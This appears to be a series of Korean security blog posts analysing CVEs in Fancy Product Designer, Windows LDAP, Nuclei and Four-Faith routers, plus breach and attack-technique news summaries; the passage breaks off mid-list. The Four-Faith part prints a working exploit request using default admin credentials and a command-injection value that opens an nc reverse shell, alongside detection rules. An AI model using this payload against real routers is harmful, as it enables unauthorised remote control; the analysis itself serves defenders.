1. Fancy Product Designer

- 온라인에서 의류, 머그컵, 휴대폰 케이스 등을 사용자 맞춤형으로 디자인할 수 있게 해주는 Worpress 플러그인 [2]

2. 취약점

2.1 CVE-2024-51818 [3]

- 취약점은 class-wc-dokan.php의 get_products_sql_attrs() 함수에 존재
> 해당 함수는 class-product.php의 get_products()에 의해 호출
> Line13 : $attrs를 매개변수로 fpd_get_products_sql_attrs() 호출

 

- get_products_sql_attrs()
> Line23 : fpd_filter_users_select 값이 존재하고, -1이 아닌 경우 if문 실행
> Line24 : "user_id=" 문자열 뒤 strip_tags($_POST['fpd_filter_users_select'])를 추가한 결과를 $where 변수에 할당

 

strip_tags()는 NULL bytes와 HTML 및 PHP 태그를 제거하는 함수로 SQL 공격을 방지하지 못함 [4]
> Line29~31 : $where 값은 get_products()의 $wpdb->get_results로 쿼리에 실행

[사진 1] strip_tags()

inc/api/class-product.php, function get_products()
1     public static function get_products( $attrs = array(), $type = 'catalog' ) {
2     
3     global $wpdb;
4     
5     $defaults = array(
6     'cols' => '*',
7     'where' => '',
8     'order_by' => '',
9     'limit' => null,
10     'offset' => null
11     );
12     
13     $attrs = apply_filters( 'fpd_get_products_sql_attrs', $attrs );
14     
15     extract( array_merge( $defaults, $attrs ) );
16     
17     $products = array();
18     if( fpd_table_exists(FPD_PRODUCTS_TABLE) ) {
19     
20     $where = empty($where) ? $wpdb->prepare( 'WHERE type="%s"', $type) : $wpdb->prepare( 'WHERE type="%s" AND ', $type ) . $where;
21     
22     if( !preg_match('/^[a-zA-Z]+\\s(ASC|DESC)$/', $order_by) )
23     $order_by = '';
24     $order_by = empty($order_by) ? '' : 'ORDER BY '. $order_by;
25     
26     $limit = empty($limit) ? '' : $wpdb->prepare( 'LIMIT %d', $limit );
27     $offset = empty($offset) ? '' : $wpdb->prepare( 'OFFSET %d', $offset );
28     
29     $products = $wpdb->get_results(
30     SELECT $cols FROM .FPD_PRODUCTS_TABLE." $where $order_by $limit $offset"
31     );
32     
33     }
34     
35     return $products;
36     
37     }

woo/class-wc-dokan.php, function get_products_sql_attrs
1     public function get_products_sql_attrs( $attrs ) {
2     
3     $where = isset( $attrs['where'] ) ? $attrs['where'] : null;
4     
5     if( self::user_is_vendor() ) {
6     
7     $user_ids = array(get_current_user_id());
8     
9     //add fpd products from user
10     $fpd_products_user_id = fpd_get_option( 'fpd_wc_dokan_user_global_products' );
11     
12     //skip if no use is set or on product builder
13     if( $fpd_products_user_id !== 'none' && !(isset( $_GET['page'] ) && $_GET['page'] === 'fpd_product_builder') )
14     array_push( $user_ids, $fpd_products_user_id );
15     
16     $user_ids = join( ",", $user_ids );
17     
18     $where = empty($where) ? "user_id IN ($user_ids)" : $where." AND user_id IN ($user_ids)";
19     
20     }
21     
22     //manage products filter
23     if( isset($_POST['fpd_filter_users_select']) && $_POST['fpd_filter_users_select'] != "-1" ) {
24     $where = "user_id=".strip_tags( $_POST['fpd_filter_users_select'] );
25     
26     
27     $attrs['where'] = $where;
28     
29     return $attrs;
30     
31     }

 

2.2 CVE-2024-51919 [5]

- 취약점은 class-pro-export.php의 save_remote_file() 함수와 fpd-admin-functions.php의 fpd_admin_copy_file() 함수에 존재

 

- save_remote_file()
> Line9 : $remote_file_url을 통해 원격 URL 값을 받아 fpd_admin_copy_file() 호출

 

- fpd_admin_copy_file()
> Line8 : basename($file_url)의 결과를 $filename에 할당
> Line10 ~ Line22 : 파일을 복사 또는 저장
파일에 대한 검사 없이 복사 또는 저장하므로 임의의 파일 업로드가 가능

pro-export/class-pro-export.php, function save_remote_file()
1     public static function save_remote_file( $remote_file_url ) {
2     
3         $unique_dir = time().bin2hex(random_bytes(16));
4         $temp_dir = FPD_ORDER_DIR . 'print_ready_files/' . $unique_dir;
5         mkdir($temp_dir);
6     
7         $local_file_path = $temp_dir;
8     
9         $filename = fpd_admin_copy_file(
10             $remote_file_url,
11             $local_file_path
12         );
13     
14         return $filename ? $unique_dir . '/' . $filename : null;
15     
16     }

admin/fpd-admin-functions.php, function fpd_admin_copy_file()
1     function fpd_admin_copy_file( $file_url, $destination_dir ) {
2     
3     if( empty( $file_url ) ) return false;
4     
5     if( !file_exists($destination_dir) )
6             wp_mkdir_p( $destination_dir );
7     
8     $filename = basename( $file_url );
9     
10     if( function_exists('copy') ) {
11     
12     return copy( $file_url, $destination_dir . '/' . $filename ) ? $filename : false;
13     
14     }
15     else {
16     
17     $content = file_get_contents( $file_url );
18     $fp = fopen( $destination_dir . '/' . $filename, 'w' );
19     $bytes = fwrite( $fp, $content );
20     fclose( $fp );
21     
22     return $bytes !== false ? $filename : false;
23     
24     }

3. 대응방안

- 취약점이 벤더사에 전달 되었으나, 최근 버전(6.4.3)까지 패치가 이루어지지 않은 상태
> 권고사항
ⓐ임의 파일 업로드 방지 : 안전한 파일 확장자만 허용하는 허용 목록(allowlist) 설정
ⓑ SQL 인젝션 대응 : 데이터베이스 쿼리의 철저한 입력 값 검증 및 적절한 이스케이프 처리
ⓒ 정기적인 보안 점검 : 플러그인 업데이트 상태 주기적 확인 및 새로운 취약점 발생 여부 모니터링
ⓓ 대안 플러그인 고려 : 개발사가 문제를 해결하지 않는 상황에서 보안이 보장된 대안 플러그인을 사용 고려

4. 참고

[1] https://patchstack.com/articles/critical-vulnerabilities-found-in-fancy-product-designer-plugin/
[2] https://fancyproductdesigner.com/
[3] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-sql-injection-vulnerability
[4] https://www.php.net/manual/en/function.strip-tags.php
[5] https://patchstack.com/database/wordpress/plugin/fancy-product-designer/vulnerability/wordpress-fancy-product-designer-plugin-6-4-3-unauthenticated-arbitrary-file-upload-vulnerability
[6] https://www.dailysecu.com/news/articleView.html?idxno=162891

1. 개요

- 도메인 컨트롤러를 대상으로 시스템 충돌과 재부팅을 유발할 수 있는 취약점 LDAPNightmare 발견 [1]
- 서비스 거부 취약점 CVE-2024-49113과 정수 오버플로를 통한 원격 코드 실행 취약점 CVE-2024-49112
- Windows 서버를 대상으로 한 심각한 보안 위협이 되고 있어 가능한 한 빨리 '24.12 보안 업데이트 적용 필요

 

1.1 LDAP(Lightweight Directory Access Protocol)

- 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보 등을 찾아보는 것을 가능하게 만든 소프트웨어 프로토콜로 389 포트 사용 [2][3]

> 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)를 기반으로한 경량화(Lightweight)된 버전으로 서버-클라이언트 구조

※ 디렉토리 서비스란 이름을 기준으로 대상을 찾아 조회하거나 편집할 수 있는 서비스

2. 취약점

2.1 CVE-2024-49113

[사진 1] CVE-2024-49113 [4]

- Windows LDAP 프로토콜에서 발생하는 서비스 거부 취약점

> 공격자가 조작된 CLDAP 요청을 보내 LSASS 프로세스를 충돌시켜 서버 재부팅을 유발할 수 있음

CLDAP (Connection-less Lightweitght Directory Access Protocol)
- LDAP의 한 종류로, UDP/389포트를 사용 (LDAP는 TCP 사용)
- LDAP 대비 응답 시간이 빠르고 오버헤드가 낮으나, 데이터 손실이 발생 가능
※ UDP의 특성상 송신 IP를 확인하지 않고, 응답 패킷이 요청 패킷보다 훨씬 커 DRDoS 공격에 사용됨 (평균 50~86배 정도 증폭)

LSASS (Local Security Authority Subsystem Service)
- Windows 운영체제에서 시스템의 보안 정책을 강화를 위한 윈도우의 프로세스
> 윈도우 시스템에 로그인하려는 사용자의 유효성을 판단
> 사용자 비밀번호 저장 및 관리, 비밀번호 변경 요청 처리
> 인증된 사용자에게 시스템 자원에 접근할 수 있는 권한을 부여하는 액세스 토큰을 생성
> 시스템 보안 관련 이벤트를 기록하며, 시스템의 보안 정책을 적용 및 관리
※ 시스템의 모든 사용자 자격 증명을 저장하고 관리하기 때문에 공격자의 주요 목표 중 하나이며, Mimikatz 등의 공격 도구 존재

 

- 공격과정

① 공격자는 피해자 DC에 DCE/RPC 요청을 전송

- 공격자가 제어하는 LDAP 서버를 쿼리하도록 조작된 DCE/RPC 요청을 전송

> RPC 메소드 중 DsrGetDcNameEx2 메소드는 도메인 컨트롤러의 LDAP 서버 정보를 반환하기 위해 설계된 RPC 호출임

 

- DsrGetDcNameEx2 메소드의 매개변수 중 DomainName을 공격자가 제어하는 DNS 서버로 조작하여 요청 전송

> DomainName이 특정 도메인 또는 사이트를 가리킬 때, 자동으로 해당 도메인에 대한 LDAP DNS SRV 쿼리를 생성

> DNS는 공격자가 제어하는 LDAP 서버의 호스트 네임과 LDAP 포트 정보 응답

[사진 2] DsrGetDcNameEx2 메소드 매개변수 및 설명 [5]

- DC (Domain Controller) : 로그인, 이용권한 확인, 새로운 사용자 등록, 암호 변경 등을 처리하는 기능을 하는 서버 컴퓨터
- DCE/RPC (Distributed Computing Environment/Remote Procedure Calls) : 분산 컴퓨팅 환경(DCE)에서 원격 프로시저 호출(RPC)을 구현하기 위한 프로토콜
- DNS SRV (Service Resource Record) : 특정 서비스에 대해 도메인 이름을 기반으로 연결할 수 있는 호스트 및 포트 정보를 제공하는 DNS 레코드 유형

② NBNS 요청 및 응답

- LDAP 서버의 호스트네임과 포트 정보를 수신한 피해자는 LDAP 서버에 대한 NBNS 쿼리를 수행

> 호스트네임에 대응하는 LDAP 서버의 IP 주소(공격자가 제어하는 LDAP 서버 IP) 응답

- NetBIOS (Network Basic Input/Output System) : 윈도우 네트워크에 사용되는 컴퓨터 이름 [6]
- NBNS (NetBIOS Name Service) : NetBIOS 네트워크 상에서 호스트 이름을 IP 주소로 해석하기 위해 사용되는 프로토콜 [7]

③ 조작된 CLDAP 응답으로 시스템 재부팅 유도

- 피해자 DC는 공격자의 LDAP 서버에 CLDAP 요청을 전송

> 공격자는 LDAP 참조(referral) 결과 코드와 함께 조작된 lm_referral 값을 포함한 조작된 CLDAP 응답 전송

> 조작된 lm_referral 값에 의해 범위를 벗어난 읽기와 LSASS를 충돌이 발생하고 시스템 재부팅을 유도할 수 있음

※ 관련 PoC [8]

lm_referral 값 - LDAP 클라이언트가 참조 테이블에서 메모리 접근을 수행할 때 사용
- 참조 테이블에 액세스하는지 여부를 결정하는 조건은 lm_referral 값이 0이 아닌지 확인
- 0이 아닌 값은 참조 테이블의 오프셋으로 사용되어 메모리 접근이 시도
- 공격자는 해당 값을 조작해 클라이언트가 잘못된 메모리 위치를 참조하도록 유도

[사진 3] 공격 과정 요약

2.2 CVE-2024-49112

[사진 4] CVE-2024-49112 [9]

- Windows LDAP 프로토콜에서 발생하는 원격 코드 실행 취약점 (CVSS: 9.8)

> CLDAP 패킷을 변조하여 LDAP 서비스에서 임의 코드를 실행할 수 있음

 

<<내용 추가 예정>>

 

3. 대응방안

- MS 12월 보안 위협에 따른 정기 보안 업데이트 적용 [10]

> 즉시 패치가 어려운 경우 권고 사항

① 악성 값이 설정된 CLDAP 참조 응답을 모니터링
② 비정상적인 DsrGetDcNameEx2 호출을 탐지
③ 도메인 컨트롤러를 대상으로 하는 의심스러운 DNS SRV 조회를 감지

4. 참고

[1] https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-cve-2024-49113/
[2] https://yongho1037.tistory.com/796
[3] https://hec-ker.tistory.com/319
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-49113
[5] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/fb8e1146-a045-4c31-98d1-c68507ad5620
[6] http://www.ktword.co.kr/test/view/view.php?m_temp1=319&id=452
[7] https://wiki.wireshark.org/NetBIOS/NBNS
[8] https://github.com/SafeBreach-Labs/CVE-2024-49113
[9] https://nvd.nist.gov/vuln/detail/CVE-2024-49112
[10] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71606
[11] https://www.dailysecu.com/news/articleView.html?idxno=162699

[12] https://www.boannews.com/media/view.asp?idx=135499&page=1&kind=1

1. 스티비 서버 해킹으로 개인정보 유출

- 뉴스레터 발송용으로 활용하는 외부 마케팅 솔루션이 해킹되어 외교부 사칭 스팸 메일이 발송
> 유포된 메일에 대한 기술적 분석 결과 악성 기능이 없는 것으로 파악

 

사용자 이름, 이메일 주소, 암호화된 비밀번호 등과 일부 고객 신용정보 유출
> 결제 오류 로그에 민감한 신용정보가 함께 저장 (서버 해킹으로 내부 로그가 함께 유출)
> 일부 회원 계정이 외부 공격자에 의해 로그인된 정황 발견 (비밀번호는 단방향 암호화되어 있어 유출 가능성 낮음)

※ 로그 관리 방식의 미비 : 로그 접근 권한의 제한 부족과 장기간 로그 보관이 보안상 취약 요소로 작용

 

- 사후 보안 강화 대책
> 취약점 보완 및 시스템 내 모든 개인정보 완전 암호화
> 로그인 시 2단계 인증 도입 및 이상 로그인 감지 시스템 강화
> 해외 IP 차단 및 로그 보관 정책 재정비
> 금융기관과 협력해 이상 금융 거래 감시 및 실시간 모니터링 강화
> 보안 조직 확대 및 보안 전문가 영입
> 개인정보 수집 및 보관 정책 변경 (불필요 정보 즉시 파기, 최소한 정보 저장)

2. KERIS 개인정보 유출

- AI디지털교과서 수업설계안 개발 과정에 참여한 교원들의 개인정보가 유출
> 개발에 참여 중인 선생님들이 상호 피드백 그룹 정보 조회를 위한 엑셀파일을 구글 드라이브에 탑재
> 엑셀파일은 개인정보 보호를 위해 암호 설정 및 선생님들은 수신 문자의 그룹 코드를 입력해 본인의 피드백 그룹 정보만 확인하도록 설계
구글 드라이브에서 구글 스프레드 시트를 통해 열람 또는 다운로드할 경우 암호 설정이 해제되는 현상이 발생하여 개인정보 유출

 

- 개발에 참여 중인 선생님 957명의 이름, 소속학교, 지역(시, 도), 휴대전화번호, 이메일 유출
> 구글 드라이브에서 엑셀 파일 삭제 및 선생님들에게 파일 삭제 요청 안내

 

- 휴먼 에러 가능성
> 암호화 엑셀 파일을 구글 드라이브에 올린 후 구글 스프레드 시트로 열람할 경우 비밀번호 입력 기능이 유지됨
> 구글 스프레드시트에서 직접 파일을 작성하고 특정 사용자에게 링크 공유와 잠김 기능을 사용한 경우 설정 오류일 것
> 또는 엑셀 파일 자체에 비밀번호 설정을 잘못했을 가능성
> 내부 개인정보 문서를 외부 시스템을 통해 공유하는 방법 자체의 잘못

3. 한예종 재학생·졸업생 개인정보 유출

해킹 공격으로 누리 시스템에 있는 재학생·졸업생 1만 8,000여명의 개인정보 유출
> 유출 항목 : 학번, 한글·한문·영문성명, 생년월일, 성별, 학적상태, 학년, 과정, 소속, 학과,  전공, 입학일, 수험번호, 일반휴학학기, 휴대전화번호, 자택전화번호, 주소, 예금주, 은행명, 계좌번호, 이메일 등
> 유출 의심 항목 : 보호자 정보, 장학금, 등록금, 성적

4. 한국정보보호산업협회 개인정보 유출

- 뉴스레터를 발송하는 과정에서 수신인 메일 주소 10,592건이 삽입되어 발송
> 뉴스레터 구독자들에게 메일 삭제 요청
> 악용 의심 사례는 발생하지 않음

 

- 대응
> 메일 전송 서버 강제 중단
> 메일 송부 프로그램 교체 및 발송 확인 절차 강화

5. GS리테일 개인정보 유출

크리덴셜 스터핑 공격을 받아 개인정보 유출
> 유출 항목 : 이름, 성별, 생년월일, 연락처, 주소, 아이디, 이메일

 

- 공격 IP 및 공격 패턴 차단, 계정 잠금 처리, 개인정보가 표시된 페이지를 확인할 수 없도록 임시 폐쇄 조치
> 2차 피해 방지를 위해 비밀번호 변경 권고

1. Nuclei [2][3][4]

- ProjectDiscovery에서 개발한 YAML 기반 템플릿을 사용하여 취약점을 스캔하는 go 언어 기반의 오픈소스 취약점 스캐너
> YAML 파일로 취약점 스캔 탬플릿을 정의하며, 해당 템플릿을 통해 취약점을 식별
> 템플릿은 직접 작성하거나 커뮤니티에서 제공하는 템플릿 활용 가능
- 웹 애플리케이션 취약점, 네트워크 서비스, API 스캔 등이 가능
- 멀티스레드 기반의 빠른 스캔, 유연성 및 확장성 등의 장점이 있음

2. CVE-2024-43405

[사진 1] CVE-2024-43405 [5]

- Nuclear의 템플릿 서명 검증 시스템에서 발생하는 서명 검증 우회 취약점

영향받는 버전 : Nuclei 3.0.0 ~ 3.3.2 이전 버전

 

- ProjectDiscovery는 무단 데이터 액세스와 시스템 손상을 방지 하기위해 서명 검증 메커니즘을 구현 (위변조 방지, 무결성 확인)

템플릿 파일 내용을 기준으로 SHA256을 계산해 "#digest:"로 삽입

서명 검증 과정
서명 추출 정규식을 사용하여 "#digest:" 줄 검색
서명 제거 템플릿 콘텐츠에서 서명 줄 제외
해시 계산 서명을 제외한 콘텐츠 해시 계산
서명 검증 계산된 해시를 추출된 서명과 비교하여 검증

 

- Nuclear 서명 검증 논리에서 서명 추출 및 제거는 정규표현식을 사용하며, 이후 구문 분석 및 실행에는 YAML 파서 사용

> Line1 ~ Line31 : 첫 번째 서명을 찾아 템플릿에서 서명을 제거
> Line33 ~ Line51 : 서명 검증 후 YAML로 구문 분석 및 실행

 

첫 번째 서명(#digest:)만 확인 : 악성코드가 포함된 두 번째 서명이 검증되지 않고 템플릿에 남아있을 수 있음
줄 바꿈 해석 불일치 : 정규 표현식을 사용한 서명 검증과 YAML 파서 간 줄 바꿈 해석 불일치로 추가 콘텐츠를 삽입할 수 있음

구분 설명
정규 표현식 ‘\r’를 동일한 줄의 일부로 간주
YAML 파서 ‘\r'를 줄 바꿈 문자로 해석
1     var (
2       ReDigest         = regexp.MustCompile(`(?m)^#\sdigest:\s.+$`)
3       SignaturePattern = "# digest: "
4     )
5     
6     func RemoveSignatureFromData(data []byte) []byte {
7       return bytes.Trim(ReDigest.ReplaceAll(data, []byte("")), "\n")
8     }
9     
10     func (t *TemplateSigner) Verify(data []byte) (bool, error) {
11       digestData := ReDigest.Find(data)
12       if len(digestData) == 0 {
13         return false, errors.New("digest not found")
14       }
15     
16       digestData = bytes.TrimSpace(bytes.TrimPrefix(digestData, []byte(SignaturePattern)))
17       digestString := strings.TrimSuffix(string(digestData), ":"+t.GetUserFragment())
18       digest, err := hex.DecodeString(digestString)
19       if err != nil {
20         return false, err
21       }
22     
23       buff := bytes.NewBuffer(RemoveSignatureFromData(data))
24     
25       // Verify using standard Go's ECDSA
26       if !t.verify(sha256.Sum256(buff.Bytes()), digest) {
27         return false, errors.New("signature verification failed")
28       }
29     
30       return true, nil
31     }
32     
33     // SecureExecute is a mock we at Wiz created that mimics Nuclei's logic to illustrate the vulnerability, 
34     // verifying a template's signature, parsing it as YAML, and executing it.
35     func SecureExecute(rawTemplate []byte, verifier *TemplateSigner) (interface{}, error) {
36       // Verify the template signature
37       isVerified, err := verifier.Verify(rawTemplate)
38       if err != nil || !isVerified {
39         return nil, errors.New("template verification failed")
40       }
41     
42       // Parse the template
43       template := &Template{}
44       err = yaml.Unmarshal(rawTemplate, template)
45       if err != nil {
46         return nil, errors.New("couldn't unmarshal template")
47       }
48     
49       // Execute the template and return the result
50       return template.execute()
51     }

 

두 번째 서명에 '\r'를 포함한 악성코드를 삽입하여 악용 가능
두 번째 서명은 서명 검증 과정을 거치지 않고, YAML에서 구문 분석 후 실행됨

[사진 2] YAML 파서와 정규표현식 간 '\r' 문자 처리 비교

3. 대응방안

- Nuclei 3.3.2 이상으로 업그레이드
- 악성 템플릿의 실행을 방지하기 위해 샌드박스 또는 격리된 환경에서 Nuclei 실행

4. 참고

[1] https://www.wiz.io/blog/nuclei-signature-verification-bypass
[2] https://github.com/projectdiscovery/nuclei
[3] https://github.com/projectdiscovery/nuclei/blob/dev/README_KR.md
[4] https://bugbounty.tistory.com/55
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-43405
[6] https://www.bleepingcomputer.com/news/security/nuclei-flaw-lets-malicious-templates-bypass-signature-verification/
[7] https://thehackernews.com/2025/01/researchers-uncover-nuclei.html
[8] https://www.dailysecu.com/news/articleView.html?idxno=162701

1. Four-Faith

- 사물인터넷(IoT) 통신 장비 및 솔루션을 제공하는 중국 기업

2. CVE-2024-12856

[사진 1] CVE-2024-12856 [1]

- Four-Faith 라우터에서 발생하는 OS 명령 주입 취약점
> 공격자가 인증 없이 명령을 실행할 수 있으며, 현재 공격에 악용되는 중

영향받는 버전 : Four-Faith 라우터 모델 F3x24 및 F3x36

 

/apply.cgi 엔드포인트에 조작된 HTTP 요청을 전송해 OS 명령을 실행할 수 있음 [2][3][4]

> submit_type=adj_sys_time을 통해 장치의 시스템 시간을 수정할 때 adj_time_year 매개변수에 OS 명령 주입 가능
> adj_time_year 매개변수에 대한 검증이 적절하지 않거나 누락되어 발생하는 것으로 판단됨

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1:90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Content-Length: 296
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip adj_time_sec=32&change_action=gozila_cgi&adj_time_day=27&adj_time_mon=10&adj_time_hour=11&adj_time_year=%24%28cd+%2Ftmp%2F%3B+mknod+bOY+p%3Bcat+bOY%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+192.168.1.206+1270+%3EbOY%3B+rm+bOY%3B%29&adj_time_min=35&submit_button=index&action=Save&submit_type=adjust_sys_time

[디코딩]
admin:admin
adj_time_year=$(cd /tmp/; mknod bOY p;cat bOY|/bin/sh -i 2>&1|nc 192.168.1.206 1270 >bOY; rm bOY;)

3. 대응방안

- 벤더사의 취약점 패치 발표 여부 확인 불가
> VulnCheck는 Suricata를 이용한 규칙 공유

alert http any any -> any any ( \
  msg:"VULNCHECK Four-Faith CVE-2024-12856 Exploit Attempt"; \
  flow:to_server; \
  http.method; content:"POST"; \
  http.uri; content:"/apply.cgi"; startswith; \
  http.header_names; content:"Authorization"; \
  http.request_body; content:"change_action="; \
  content:"adjust_sys_time"; \
  pcre:"/adj_time_[^=]+=[a-zA-Z0-9]*[^a-zA-Z0-9=]/"; \
  classtype:web-application-attack; \
  reference:cve,CVE-2024-12856; \
  sid:12700438; rev:1;)

 

> Snort 탐지 규칙

alert tcp any any -> any any (msg:"CVE-2024-12856"; flow:to_server,established; content:"POST"; http_method; content:"/apply.cgi"; http_uri; content:"adj_time_year"; http_client_body; nocase;)

 

- 권고사항
> 기본 자격 증명 변경
> 불필요 서비스 및 포트 비활성화
> 정기적 펌웨어 업데이트 등

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-12856
[2] https://vulncheck.com/advisories/four-faith-time
[3] https://vulncheck.com/blog/four-faith-cve-2024-12856
[4] https://ducklingstudio.blog.fc2.com/blog-entry-392.html
[5] https://www.boannews.com/media/view.asp?idx=135376
[6] https://www.dailysecu.com/news/articleView.html?idxno=162560

요약 - 전 세계 3백만 개 이상의 메일 서버가 TLS 암호화 적용되지 않음
- 공격자가 네트워크 스니핑 도구를 사용해 데이터를 탈취할 수 있음
내용 - 전세계 3백만 개 이상의 메일 서버가 IMAP, POP3 프로토콜 사용
> 그러나, TLS 암호화가 적용되지 않아 사용자 정보가 평문으로 노출되는 심각한 보안문제 발견

- 비영리 감시 단체 섀도우서버의 스캔 결과 약 3.3백만 개 메일서버가 TLS 비활성화 상태
> 메일 서버 운영자들에게 TLS 활성화 또는 해당 서비스를 VPN 뒤로 이동시키는 등 즉각적인 조치 권고

- NSA(미국 국가안보국), TLS 1.3과 같은 최신 보안 프로토콜로 전환 권고
기타 - IMAP (Internet Message Access Protocol, Port: 143)
> 이메일을 서버에 저장하고 클라이언트에서 이를 동기화하여 메일 열람
> 메일이 서버에 보관되어 여러 기기에서 메일 확인 가능
> 서버 의존성 문제(저장 공간 등) 및 인터넷 연결 필수

- POP3 (Post Office Protocol 3, Port: 110)
> 이메일을 서버에서 내려받아 로컬 기기에 저장하며, 이메일이 로컬에 저장된 후 서버에서 해당 메일은 삭제
> 로컬에 메일을 저장하므로 서버 공간 절약 및 오프라인 사용 가능
> 다른 기기에서 동일한 메일을 확인할 수 없으며 동기화 불가 및 기기 손실 또는 데이터 손상 시 이메일 복원이 어려움

 

보안뉴스

 

3백만 개 메일 서버, 암호화 없이 방치…사용자 정보 노출 위험 - 데일리시큐

전 세계적으로 3백만 개 이상의 메일 서버가 IMAP(Internet Message Access Protocol, 인터넷 메시지 접근 프로토콜)과 POP3(Post Office Protocol 3, 포스트 오피스 프로토콜 3) 프로토콜을 사용하는데, TLS(Tra...

www.dailysecu.com

 

HIGH: Vulnerable POP3 Report | The Shadowserver Foundation

NOTE: REPORT CURRENTLY SUSPENDED DESCRIPTION LAST UPDATED: 2025-01-03 DEFAULT SECURITY LEVEL: HIGH This report identifies hosts that have a POP3 service running on port 110/TCP or 995/TCP without TLS support. This means that passwords used for mail access

www.shadowserver.org

 

HIGH: Vulnerable IMAP Report | The Shadowserver Foundation

NOTE: REPORT CURRENTLY SUSPENDED DESCRIPTION LAST UPDATED: 2025-01-03 DEFAULT SECURITY LEVEL: HIGH This report identifies hosts that have a IMAP service running on port 143/TCP or 993/TCP without TLS support. This means that passwords used for mail access

www.shadowserver.org

https://x.com/Shadowserver/status/1874034572088033524

 

요약 - 기존 클릭재킹(Clickjacking) 공격을 업그레이드한 새 기법 더블클릭재킹(DoubleClickjacking) 등장
- 첫 번째 클릭과 두 번째 클릭 사이에 악성 요소를 삽입해 공격
내용 - 클릭재킹(Clickjacking)
> Click(클릭)과 Hijacking(납치)의 합성어로, 사용자의 마우스 클릭을 공격자가 훔치는 것을 의미
> 악성 웹사이트 내 보이지 않는 버튼을 만든 후, 이를 다른 콘텐츠로 위장시켜 클릭을 유도 및 클릭 시 악성 프로그램 설치 또는 리다이렉트
> 브라우저들이 차단 기술을 탑재하고 사용자들의 보안 인식 증가로 성공률이 낮아져 새로운 공격 더블클릭재킹(DoubleClickjacking) 등장

- 더블클릭재킹(DoubleClickjacking)
> 공격 순서
① 공격자는 새 창을 여는 기능을 가진 버튼이 포함한 웹 페이지를 생성

② 사용자가 해당 버튼 클릭 시
⒜ 클릭하면 새 창이 열리며 “더블클릭 하시오”라는 안내 표시
⒝ 해당 새 창은 window.opener.location을 사용해 부모 창의 위치를 대상 페이지로 변경
⒞ 위치가 바뀐 부모 창 안에는 인증 페이지 등 실제 공격에 악용될 페이지가 포함
⒟ “더블클릭 하시오” 창은 여전히 제일 위에 표시

③ 사용자가 "더블클릭 하시오" 클릭 시
⒜ 첫 번째 클릭이 이뤄지는 순간에 제일 위에 있던 “더블클릭 하시오” 창이 닫힘
⒝ 창이 닫히면서 부모 창 안의 인증 페이지(혹은 다른 공격용 페이지)가 순간적으로 노출
⒞ 더블클릭 중 두 번째 클릭은 노출된 페이지 위에서 클릭이 이루어짐
⒟ 사용자는 자기도 모르게 공격자를 인증해 주거나 악성 코드를 실행하는 등 두 번째 클릭 때 누른 페이지의 목적에 맞게 악성 행위가 수행

- 기존 클릭재킹보다 위험한 이유
> 대부분의 클릭재킹에 대한 방어 기술 우회 가능
> 새롭게 등장한 기법이므로 공격자들이 다양한 방식으로 악용 가능
> 실제 대부분의 웹사이트가 공격에 취약한 상태
> 웹사이트뿐만 아니라 플러그인도 공격에 악용될 수 있음
> 사용자의 개입을 최소화하여 브라우저 위치 변경을 사용자가 모르게 수행할 수 있음

- 대응방안
> 자바스크립트를 활용해 사용자의 제스처(마우스 움직임, 키보드 입력 등)가 발생하지 않는 한 중요한 버튼을 기본적으로 비활성화 (단기적 대응)
> 장기적으로 위험을 완화시키려면 브라우저 개발사들이 공격에 대해 이해하고 방어 기술을 브라우저에 탑재해야 함
> 출처가 불분명한 링크 클릭 지양 등 기본 보안 수칙 준수
기타 - 새창을 여는 기능을 지닌 버튼이 포함된 웹 페이지 생성
- 버튼을 클릭하면 "더블클릭 하시오" 안내가 표시된 새로운 창이 열림
- 버튼을 클릭하면 첫번째 클릭에 순간적으로 원래 페이지가 표시
- 두번째 클릭에 로그인 또는 다른 악성 행위 등을 수행
※ "더블클릭 하시오"의 위치는 원래 페이지의 로그인 위치

 

보안뉴스

 

“당신의 클릭을 훔치겠습니다”가 “당신의 더블클릭을 훔치겠습니다”로 변하다

클릭재킹(clickjacking)은 이제 너무나 흔한 공격 기술이다. 10년 넘게 공격자들 사이에서 꾸준히 사용되어 오고 있으며, 당하는 사람들마저도 익숙한, 그런 유형의 공격이라고 할 수 있다. 그런데

www.boannews.com

 

Blog: DoubleClickjacking: A New Era of UI Redressing

data:blog.metaDescription

www.paulosyibelo.com

 

요약 - 검색 최적화 조작(SEO poisoning) 기법을 공격자들이 활용하는 중
- 검색 결과에 의심을 품고 결과를 탐색하는 등의 주의 필요
내용 - 검색 최적화 조작(SEO poisoning, Search Engine Optimization Poisoning)
> 사람들이 검색엔진들에 키워드를 입력했을 때 나오는 결과창을 조작하는 기법
> 유명 검색엔진의 결과창을 신뢰해 링크들을 의심없이 클릭하는 것을 악용
> 검색엔진의 알고리즘을 조작함으로써 공격자들이 지정한 악성 웹사이트가 검색 결과 목록에서 위에 위치할 수 있도록 함
> 검색 결과 창에서 상단에 뜨는 것을 주로 클릭하는 것을 노림

- 23.08 ~ 24.01 검색 최적화 조작 기법을 통해 퍼지는 악성코드가 10% 증가
> 솔라마커(Solarmaker), 굿로더(Gootloader) 등 검색 최적화 조작 기법을 쉽게 만들어주는 서비스와 툴킷이 존재

- 구글, 빙 등의 검색엔진
> 검색 최적화 기술을 사용해 적합한 콘텐츠를 결정해 적합성 순서대로 정리해 목록을 만듦
> 즉, 검색 최적화 기술은 합법적이나, 공격자들이 이를 피싱에 활용하는 중

- 링크팜(link farm), 키워드 채워넣기(keyword stuffing) 기법이 인기
① 링크팜(link farm)
